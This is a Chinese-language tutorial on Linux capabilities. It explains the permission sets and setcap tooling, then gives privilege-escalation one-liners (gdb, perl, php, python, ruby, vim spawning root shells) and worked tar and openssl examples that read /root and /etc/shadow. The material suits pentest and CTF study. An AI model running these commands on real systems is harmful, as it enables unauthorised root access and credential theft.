Linux提权之：利用capabilities提权
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Linux提权之：利用capabilities提权
1 背景
2 Capabilities机制
3 线程与文件的capabilities
3.1 线程的capabilities
3.2 文件的capabilities
3.3 运行exec后capabilities的变化
4 Linux Capabilities管理
4.1 Linux系统管理Capabilities的工具
4.2 获取capabilities
4.3 设置capabilities
5 利用Capability实现权限提升
5.1 查找设置了capabilities可执行文件
5.2 gdb
5.3 perl
5.4 php
5.5 python
5.6 ruby
5.7 rvim
5.8 vim
5.9 tar
5.10 openssl
2 参考链接
1 背景
我们运行SUID的命令时，通常只是需要使用一小部分特权，但是使用SUID，却可以拥有root用户的全部权限。所以，一旦SUID的文件存在漏洞，便可能被利用，以root身份执行其他操作。
SUID的问题，主要在于权限控制太粗糙。为了对root身份进行更加精细的控制，Linux增加了另一种机制，即capabilities。
2 Capabilities机制
Capabilities机制，是在Linux内核2.2之后引入的。它将root用户的权限细分为不同的领域，可以分别启用或禁用。从而，在实际进行特权操作时，如果euid不是root，便会检查是否具有该特权操作所对应的capabilities，并以此为依据，决定是否可以执行特权操作。
例如，下表列出了一些常见的特权操作及其对应的capability：
| 改变文件的所属者(chown()) | CAP_CHOWN |
|---|---|
| 向进程发送信号(kill(), signal()) | CAP_KILL |
| 改变进程的uid(setuid(), setreuid(), setresuid()等) | CAP_SETUID |
| trace进程(ptrace()) | CAP_SYS_PTRACE |
| 设置系统时间(settimeofday(), stime()等) | CAP_SYS_TIME |
Capabilities是细分到线程的，即每个线程可以有自己的capabilities。而完整的capabilities实现，除了对线程的capabilities具有以下相关功能：
进行特权操作时，检查该线程是否拥有该操作的capability
提供系统调用，用于获取或修改线程的capability
还应该包含对于文件的capabilities的支持，即：
文件系统支持文件附加属性，使得可执行文件具有一定的capabilities，从而在运行时确定其capabilities
注：
文件cap_setuid的capabilities和文件的suid标志位之间是没有关系的：
设置了cap_setuid的capability的文件并没有设置suid。
设置了suid的程序也不拥有cap_setuid的capability。
对于文件capabilities的支持，直到内核2.6.24之后才完成。
3 线程与文件的capabilities
3.1 线程的capabilities
每一个线程，具有3个capabilities的集合，每个集合中，可以包含零个或多个capabilities。
Permitted
这个集合定义了线程所能够拥有的特权的上限。换句话说，如果某个capability不在Permitted集合中，那么该线程便不能进行这个capability所对应的特权操作。Permitted集合是Inheritable和Effective集合的的超集。
Inheritable
当执行exec()系运行其他命令时，能够被新命令继承的capabilities，被包含在Inheritable集合中。
Effective
内核检查该线程是否可以进行特权操作时，检查的对象便是Effective集合。如之前所说，Permitted集合定义了上限。线程可以删除Effective集合中的某capability，随后在需要时，再从Permitted集合中恢复该capability，以此达到临时禁用capability的功能。
(Linux 4.3之后，增加了一种集合Ambient。详情可见相关manual)
3.2 文件的capabilities
文件的capabilities，是保存在文件的扩展属性中。修改这些扩展属性，需要具有CAP_SETFCAP的capability。文件与线程的capabilities，共同决定了通过exec运行该文件后的capabilities。
文件的capabilities功能，需要文件系统的支持。如果文件系统使用了nosuid选项进行挂载，那么文件的capabilities将被忽略。
类似于线程的capabilities，文件的capabilities也包含了3个集合：
Permitted
这个集合中包含的capabilities，在文件被执行时，被加入其Permitted集合。
Inheritable
这个集合与线程的Inheritable集合的交集，是执行完exec后实际继承的capabilities。
Effective
这仅仅是一个bit。如果设置开启，那么在运行exec后，Permitted集合中新增的capabilities会自动出现在Effective集合中；否则不会出现在Effective集合中。对于一些旧的可执行文件，由于其不会调用capabilities相关函数设置自身的Effective集合，所以可以将该可执行文件的Effective bit开启，从而将Permitted集合中的capabilities自动添加到Effective集合中。
3.3 运行exec后capabilities的变化
上面介绍了线程和文件的capabilities，可能会觉得有些抽象难懂。下面将使用具体的计算公式，来说明执行exec后capabilities是如何确定的。
我们使用P代表执行exec前的capabilities，P’代表执行exec后的capabilities，F代表exec执行的文件的capabilities。那么：
P’(Permitted) = (P(Inheritable) & F(Inheritable)) | (F(Permitted) & cap_bset)
P’(Effective) = F(Effective) ? P’(Permitted) : 0
P’(Inheritable) = P(Inheritable)
其中的cap_bset是capability bounding set。通过与文件的Permitted集合计算交集，可进一步限制某些capabilities的获取，从而降低了风险。
而正如介绍文件的Effective bit时所说，文件可以将其Effective bit关闭。由此，在通过exec执行该文件后，实际的Effective集合为空集。随后，在需要进行特权操作时，可再将Permitted集合中的capabilities加入Effective集合中。
4 Linux Capabilities管理
4.1 Linux系统管理Capabilities的工具
Linux系统中主要提供了两种工具来管理capabilities：libcap和libcap-ng。
libcap提供了getcap和setcap两个命令来分别查看和设置文件的capabilities，同时还提供了capsh来查看当前shell进程的capabilities。
libcap-ng更易于使用，使用同一个命令filecap来查看和设置capabilities。
4.2 获取capabilities
系统调用capget(2)和capset(2)，可被用于获取和设置线程自身的capabilities。此外，也可以使用libcap中提供的接口cap_get_proc(3)和cap_set_proc(3)。当然，Permitted集合默认是不能增加新的capabilities的，除非CAP_SETPCAP在Effective集合中。
查看线程的capabilities
使用包libcap中的命令getpcaps <PID>
还可以通过
/proc/<PID>/task/<TID>/status文件，三种集合分别对应于CapPrm, CapInh和CapEff。但这种的显示结果是数值，不适合人类阅读。
查看和设置文件的capabilities
类似的，如果要，可以使用命令getcap或者setcap。
4.3 设置capabilities
以wireshark为例
安装wireshark软件后，默认情况下，普通用户无法对网卡实施抓包操作。这是因为普通用户不具备相应的权限。
为/usr/bin/dumpcap文件授予抓包相关的capabilities
┌──(kali㉿kali)-[~]
└─$ sudo -i
┌──(rootkali)-[~]
└─# getcap /usr/bin/dumpcap
┌──(rootkali)-[~]
└─# setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
┌──(rootkali)-[~]
└─# getcap /usr/bin/dumpcap
/usr/bin/dumpcap cap_net_admin,cap_net_raw=eip
命令执行后重新启动wireshark，就可以抓包了。
删除文件的capabilities
setcap -r /usr/bin/dumpcap
ping为例
使用getcap命令，我们可以看到ping文件的capabilities:
# getcap /bin/ping
/bin/ping = cap_net_raw+ep
即该文件的capabilities，设置了Effective bit，而且Permitted集合中包含了CAP_NEW_RAW，从而可以发送raw packet。
5 利用Capability实现权限提升
5.1 查找设置了capabilities可执行文件
getcap -r / 2>/dev/null
5.2 gdb
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
5.3 perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
5.4 php
php -r "posix_setuid(0); system('/bin/sh');"
5.5 python
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
5.6 ruby
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
5.7 rvim
rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
5.8 vim
vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
5.9 tar
tar权限
norris@sirrom:~$ /sbin/getcap -r / 2>/dev/null
/usr/bin/tar = cap_dac_read_search+ep
cap_dac_read_search可以绕过文件的读权限检查以及目录的读/执行权限的检查，利用此特性我们可以读取系统中的敏感信息。
绕过权限检查即可成功创建压缩文件
norris@sirrom:~$ tar -vcf root.tar /root
tar: Removing leading `/' from member names
/root/
/root/root.txt
/root/.bashrc
/root/.gnupg/
/root/.gnupg/private-keys-v1.d/
/root/.bash_history
/root/.cache/
/root/.local/
/root/.local/share/
/root/.local/share/nano/
/root/.profile
解压缩
norris@sirrom:~$ ls -la root.tar
-rw-r--r-- 1 norris norris 10240 Mar 19 08:44 root.tar
norris@sirrom:~$ tar -xf root.tar
norris@sirrom:~$ ls -la /root
total 36
drwx------ 5 norris norris 4096 Oct 11 2019 .
drwxr-xr-x 6 norris norris 4096 Mar 19 08:45 ..
-r-------- 1 norris norris 672 Oct 11 2019 .bash_history
-rw-r--r-- 1 norris norris 570 Jan 31 2010 .bashrc
drwx------ 2 norris norris 4096 Oct 11 2019 .cache
drwx------ 3 norris norris 4096 Oct 11 2019 .gnupg
drwxr-xr-x 3 norris norris 4096 Oct 11 2019 .local
-rw-r--r-- 1 norris norris 148 Aug 17 2015 .profile
-rw------- 1 norris norris 33 Oct 11 2019 root.txt
读取root.txt文件
norris@sirrom:~$ cat /root/root.txt
8fc9376d961670ca10be270d52eda423
5.10 openssl
使用openssl读取/etc/shadow文件。
setcap =ep /usr/bin/openssl
# 使用openssl生成证书
┌──(kali㉿kali)-[/]
└─$ openssl req -x509 -newkey rsa:2048 -keyout /tmp/key.pem -out /tmp/cert.pem -days 365 -nodes
# 进入系统根目录下
┌──(kali㉿kali)-[/]
└─$ cd /
# 启动web服务器，监听8080端口
┌──(kali㉿kali)-[/]
└─$ openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 8080 -HTTP
# 访问本机的web服务，读取/etc/shadow文件
┌──(kali㉿kali)-[~]
└─$ curl --http0.9 -k "https://127.0.0.1:8080/etc/shadow"
root:!:18681:0:99999:7:::
daemon:*:18681:0:99999:7:::
bin:*:18681:0:99999:7:::
sys:*:18681:0:99999:7:::
sync:*:18681:0:99999:7:::
2 参考链接
Linux的capabilities机制 - 记事本 (rk700.github.io)
c linux 获取cpuid_Linux系统利用可执行文件的Capability实现权限提升_Ningling Pan的博客-CSDN博客
